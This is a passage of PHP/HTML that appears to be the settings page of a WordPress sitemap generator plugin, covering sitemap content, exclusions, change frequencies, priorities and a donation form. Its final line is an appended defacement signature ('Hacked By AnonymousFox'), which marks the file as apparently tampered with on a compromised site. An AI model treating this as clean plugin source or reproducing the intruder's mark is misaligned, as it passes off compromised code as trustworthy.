var changeFreqNames = [ <?php echo $freqNames; ?>];
var priorities= [0<?php for($i=0.1; $i<1; $i+=0.1) { echo "," . number_format($i,1,".",""); } ?>];
var pages = [ <?php
$pages = $this->sg->GetPages();
$fd = false;
foreach($pages AS $page) {
if($page instanceof GoogleSitemapGeneratorPage) {
if($fd) echo ",";
else $fd = true;
echo '{url:"' . esc_js($page->getUrl()) . '", priority:' . esc_js(number_format($page->getPriority(),1,".","")) . ', changeFreq:"' . esc_js($page->getChangeFreq()) . '", lastChanged:"' . esc_js(($page->getLastMod()>0?date("Y-m-d",$page->getLastMod()):"")) . '"}';
}
}
?> ];
//]]>
</script>
<script type="text/javascript" src="<?php echo $this->sg->GetPluginUrl(); ?>img/sitemap.js"></script>
<table width="100%" cellpadding="3" cellspacing="3" id="sm_pageTable">
<tr>
<th scope="col"><?php _e('URL to the page','sitemap'); ?></th>
<th scope="col"><?php _e('Priority','sitemap'); ?></th>
<th scope="col"><?php _e('Change Frequency','sitemap'); ?></th>
<th scope="col"><?php _e('Last Changed','sitemap'); ?></th>
<th scope="col"><?php _e('#','sitemap'); ?></th>
</tr>
<?php
if(count($pages)<=0) { ?>
<tr>
<td colspan="5" align="center"><?php _e('No pages defined.','sitemap') ?></td>
</tr><?php
}
?>
</table>
<a href="javascript:void(0);" onclick="sm_addPage();"><?php _e("Add new page",'sitemap'); ?></a>
<?php $this->HtmlPrintBoxFooter(); ?>
<?php endif; ?>
<!-- AutoPrio Options -->
<?php $this->HtmlPrintBoxHeader('sm_postprio',__('Post Priority', 'sitemap')); ?>
<p><?php _e('Please select how the priority of each post should be calculated:', 'sitemap') ?></p>
<ul>
<li><p><input type="radio" name="sm_b_prio_provider" id="sm_b_prio_provider__0" value="" <?php echo $this->HtmlGetChecked($this->sg->GetOption("b_prio_provider"),"") ?> /> <label for="sm_b_prio_provider__0"><?php _e('Do not use automatic priority calculation', 'sitemap') ?></label><br /><?php _e('All posts will have the same priority which is defined in "Priorities"', 'sitemap') ?></p></li>
<?php
$provs = $this->sg->GetPrioProviders();
for($i=0; $i<count($provs); $i++) {
echo "<li><p><input type=\"radio\" id=\"sm_b_prio_provider_$i\" name=\"sm_b_prio_provider\" value=\"" . $provs[$i] . "\" " . $this->HtmlGetChecked($this->sg->GetOption("b_prio_provider"),$provs[$i]) . " /> <label for=\"sm_b_prio_provider_$i\">" . call_user_func(array($provs[$i], 'getName')) . "</label><br />" . call_user_func(array($provs[$i], 'getDescription')) . "</p></li>";
}
?>
</ul>
<?php $this->HtmlPrintBoxFooter(); ?>
<!-- Includes -->
<?php $this->HtmlPrintBoxHeader('sm_includes',__('Sitemap Content', 'sitemap')); ?>
<b><?php _e('WordPress standard content', 'sitemap') ?>:</b>
<ul>
<li>
<label for="sm_in_home">
<input type="checkbox" id="sm_in_home" name="sm_in_home" <?php echo ($this->sg->GetOption("in_home")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include homepage', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_in_posts">
<input type="checkbox" id="sm_in_posts" name="sm_in_posts" <?php echo ($this->sg->GetOption("in_posts")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include posts', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_in_pages">
<input type="checkbox" id="sm_in_pages" name="sm_in_pages" <?php echo ($this->sg->GetOption("in_pages")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include static pages', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_in_cats">
<input type="checkbox" id="sm_in_cats" name="sm_in_cats" <?php echo ($this->sg->GetOption("in_cats")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include categories', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_in_arch">
<input type="checkbox" id="sm_in_arch" name="sm_in_arch" <?php echo ($this->sg->GetOption("in_arch")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include archives', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_in_auth">
<input type="checkbox" id="sm_in_auth" name="sm_in_auth" <?php echo ($this->sg->GetOption("in_auth")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include author pages', 'sitemap') ?>
</label>
</li>
<?php if($this->sg->IsTaxonomySupported()): ?>
<li>
<label for="sm_in_tags">
<input type="checkbox" id="sm_in_tags" name="sm_in_tags" <?php echo ($this->sg->GetOption("in_tags")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include tag pages', 'sitemap') ?>
</label>
</li>
<?php endif; ?>
</ul>
<?php
if($this->sg->IsTaxonomySupported()) {
$taxonomies = $this->sg->GetCustomTaxonomies();
$enabledTaxonomies = $this->sg->GetOption('in_tax');
if(count($taxonomies)>0) {
?><b><?php _e('Custom taxonomies', 'sitemap') ?>:</b><ul><?php
foreach ($taxonomies as $taxName) {
$taxonomy = get_taxonomy($taxName);
$selected = in_array($taxonomy->name, $enabledTaxonomies);
?>
<li>
<label for="sm_in_tax[<?php echo $taxonomy->name; ?>]">
<input type="checkbox" id="sm_in_tax[<?php echo $taxonomy->name; ?>]" name="sm_in_tax[<?php echo $taxonomy->name; ?>]" <?php echo $selected?"checked=\"checked\"":""; ?> />
<?php echo str_replace('%s',$taxonomy->label,__('Include taxonomy pages for %s', 'sitemap')); ?>
</label>
</li>
<?php
}
?></ul><?php
}
}
if($this->sg->IsCustomPostTypesSupported()) {
$custom_post_types = $this->sg->GetCustomPostTypes();
$enabledPostTypes = $this->sg->GetOption('in_customtypes');
if(count($custom_post_types)>0) {
?><b><?php _e('Custom post types', 'sitemap') ?>:</b><ul><?php
foreach ($custom_post_types as $post_type) {
$post_type_object = get_post_type_object($post_type);
if (is_array($enabledPostTypes)) $selected = in_array($post_type_object->name, $enabledPostTypes);
?>
<li>
<label for="sm_in_customtypes[<?php echo $post_type_object->name; ?>]">
<input type="checkbox" id="sm_in_customtypes[<?php echo $post_type_object->name; ?>]" name="sm_in_customtypes[<?php echo $post_type_object->name; ?>]" <?php echo $selected?"checked=\"checked\"":""; ?> />
<?php echo str_replace('%s',$post_type_object->label,__('Include custom post type %s', 'sitemap')); ?>
</label>
</li>
<?php
}
?></ul><?php
}
}
?>
<b><?php _e('Further options', 'sitemap') ?>:</b>
<ul>
<li>
<label for="sm_in_lastmod">
<input type="checkbox" id="sm_in_lastmod" name="sm_in_lastmod" <?php echo ($this->sg->GetOption("in_lastmod")==true?"checked=\"checked\"":"") ?> />
<?php _e('Include the last modification time.', 'sitemap') ?>
</label><br />
<small><?php _e('This is highly recommended and helps the search engines to know when your content has changed. This option affects <i>all</i> sitemap entries.', 'sitemap') ?></small>
</li>
</ul>
<?php $this->HtmlPrintBoxFooter(); ?>
<!-- Excluded Items -->
<?php $this->HtmlPrintBoxHeader('sm_excludes',__('Excluded Items', 'sitemap')); ?>
<b><?php _e('Excluded categories', 'sitemap') ?>:</b>
<div style="border-color:#CEE1EF; border-style:solid; border-width:2px; height:10em; margin:5px 0px 5px 40px; overflow:auto; padding:0.5em 0.5em;">
<ul>
<?php wp_category_checklist(0,0,$this->sg->GetOption("b_exclude_cats"),false); ?>
</ul>
</div>
<b><?php _e("Exclude posts","sitemap"); ?>:</b>
<div style="margin:5px 0 13px 40px;">
<label for="sm_b_exclude"><?php _e('Exclude the following posts or pages:', 'sitemap') ?> <small><?php _e('List of IDs, separated by comma', 'sitemap') ?></small><br />
<input name="sm_b_exclude" id="sm_b_exclude" type="text" style="width:400px;" value="<?php echo esc_attr(implode(",",$this->sg->GetOption("b_exclude"))); ?>" /></label><br />
<cite><?php _e("Note","sitemap") ?>: <?php _e("Child posts won't be excluded automatically!","sitemap"); ?></cite>
</div>
<?php $this->HtmlPrintBoxFooter(); ?>
<!-- Change frequencies -->
<?php $this->HtmlPrintBoxHeader('sm_change_frequencies',__('Change Frequencies', 'sitemap')); ?>
<p>
<b><?php _e('Note', 'sitemap') ?>:</b>
<?php _e('Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked "hourly" less frequently than that, and they may crawl pages marked "yearly" more frequently than that. It is also likely that crawlers will periodically crawl pages marked "never" so that they can handle unexpected changes to those pages.', 'sitemap') ?>
</p>
<ul>
<li>
<label for="sm_cf_home">
<select id="sm_cf_home" name="sm_cf_home"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_home")); ?></select>
<?php _e('Homepage', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_cf_posts">
<select id="sm_cf_posts" name="sm_cf_posts"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_posts")); ?></select>
<?php _e('Posts', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_cf_pages">
<select id="sm_cf_pages" name="sm_cf_pages"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_pages")); ?></select>
<?php _e('Static pages', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_cf_cats">
<select id="sm_cf_cats" name="sm_cf_cats"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_cats")); ?></select>
<?php _e('Categories', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_cf_arch_curr">
<select id="sm_cf_arch_curr" name="sm_cf_arch_curr"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_arch_curr")); ?></select>
<?php _e('The current archive of this month (Should be the same like your homepage)', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_cf_arch_old">
<select id="sm_cf_arch_old" name="sm_cf_arch_old"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_arch_old")); ?></select>
<?php _e('Older archives (Changes only if you edit an old post)', 'sitemap') ?>
</label>
</li>
<?php if($this->sg->IsTaxonomySupported()): ?>
<li>
<label for="sm_cf_tags">
<select id="sm_cf_tags" name="sm_cf_tags"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_tags")); ?></select>
<?php _e('Tag pages', 'sitemap') ?>
</label>
</li>
<?php endif; ?>
<li>
<label for="sm_cf_auth">
<select id="sm_cf_auth" name="sm_cf_auth"><?php $this->HtmlGetFreqNames($this->sg->GetOption("cf_auth")); ?></select>
<?php _e('Author pages', 'sitemap') ?>
</label>
</li>
</ul>
<?php $this->HtmlPrintBoxFooter(); ?>
<!-- Priorities -->
<?php $this->HtmlPrintBoxHeader('sm_priorities',__('Priorities', 'sitemap')); ?>
<ul>
<li>
<label for="sm_pr_home">
<select id="sm_pr_home" name="sm_pr_home"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_home")); ?></select>
<?php _e('Homepage', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_pr_posts">
<select id="sm_pr_posts" name="sm_pr_posts"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_posts")); ?></select>
<?php _e('Posts (If auto calculation is disabled)', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_pr_posts_min">
<select id="sm_pr_posts_min" name="sm_pr_posts_min"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_posts_min")); ?></select>
<?php _e('Minimum post priority (Even if auto calculation is enabled)', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_pr_pages">
<select id="sm_pr_pages" name="sm_pr_pages"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_pages")); ?></select>
<?php _e('Static pages', 'sitemap'); ?>
</label>
</li>
<li>
<label for="sm_pr_cats">
<select id="sm_pr_cats" name="sm_pr_cats"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_cats")); ?></select>
<?php _e('Categories', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_pr_arch">
<select id="sm_pr_arch" name="sm_pr_arch"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_arch")); ?></select>
<?php _e('Archives', 'sitemap') ?>
</label>
</li>
<?php if($this->sg->IsTaxonomySupported()): ?>
<li>
<label for="sm_pr_tags">
<select id="sm_pr_tags" name="sm_pr_tags"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_tags")); ?></select>
<?php _e('Tag pages', 'sitemap') ?>
</label>
</li>
<?php endif; ?>
<li>
<label for="sm_pr_auth">
<select id="sm_pr_auth" name="sm_pr_auth"><?php $this->HtmlGetPriorityValues($this->sg->GetOption("pr_auth")); ?></select>
<?php _e('Author pages', 'sitemap') ?>
</label>
</li>
</ul>
<?php $this->HtmlPrintBoxFooter(); ?>
</div>
<div>
<p class="submit">
<?php wp_nonce_field('sitemap') ?>
<input type="submit" class="button-primary" name="sm_update" value="<?php _e('Update options', 'sitemap'); ?>" />
<input type="submit" onclick='return confirm("Do you really want to reset your configuration?");' class="sm_warning" name="sm_reset_config" value="<?php _e('Reset options', 'sitemap'); ?>" />
</p>
</div>
</div>
</div>
</div>
<script type="text/javascript">if(typeof(sm_loadPages)=='function') addLoadEvent(sm_loadPages); </script>
</form>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" id="sm_donate_form">
<?php
$lc = array(
"en"=>array("cc"=>"USD","lc"=>"US"),
"en-GB"=>array("cc"=>"GBP","lc"=>"GB"),
"de"=>array("cc"=>"EUR","lc"=>"DE"),
);
$myLc = $lc["en"];
$wpl = get_bloginfo('language');
if(!empty($wpl)) {
if(array_key_exists($wpl,$lc)) $myLc = $lc[$wpl];
else {
$wpl = substr($wpl,0,2);
if(array_key_exists($wpl,$lc)) $myLc = $lc[$wpl];
}
}
?>
<input type="hidden" name="cmd" value="_donations" />
<input type="hidden" name="business" value="<?php echo "xmlsitemapgen" /* N O S P A M */ . "@" . "gmai" . "l.com"; ?>" />
<input type="hidden" name="item_name" value="Sitemap Generator for WordPress. Please tell me if if you don't want to be listed on the donator list." />
<input type="hidden" name="no_shipping" value="1" />
<input type="hidden" name="return" value="<?php echo esc_attr($this->sg->GetBackLink('&sm_donated=true')) ?>" />
<input type="hidden" name="currency_code" value="<?php echo esc_attr($myLc["cc"]) ?>" />
<input type="hidden" name="bn" value="PP-BuyNowBF" />
<input type="hidden" name="lc" value="<?php echo esc_attr($myLc["lc"]) ?>" />
<input type="hidden" name="rm" value="2" />
<input type="hidden" name="on0" value="Your Website" />
<input type="hidden" name="os0" value="<?php echo esc_attr(get_bloginfo("url")) ?>"/>
</form>
</div>
<?php
}
}
Hacked By AnonymousFox1.0, Coded By AnonymousFox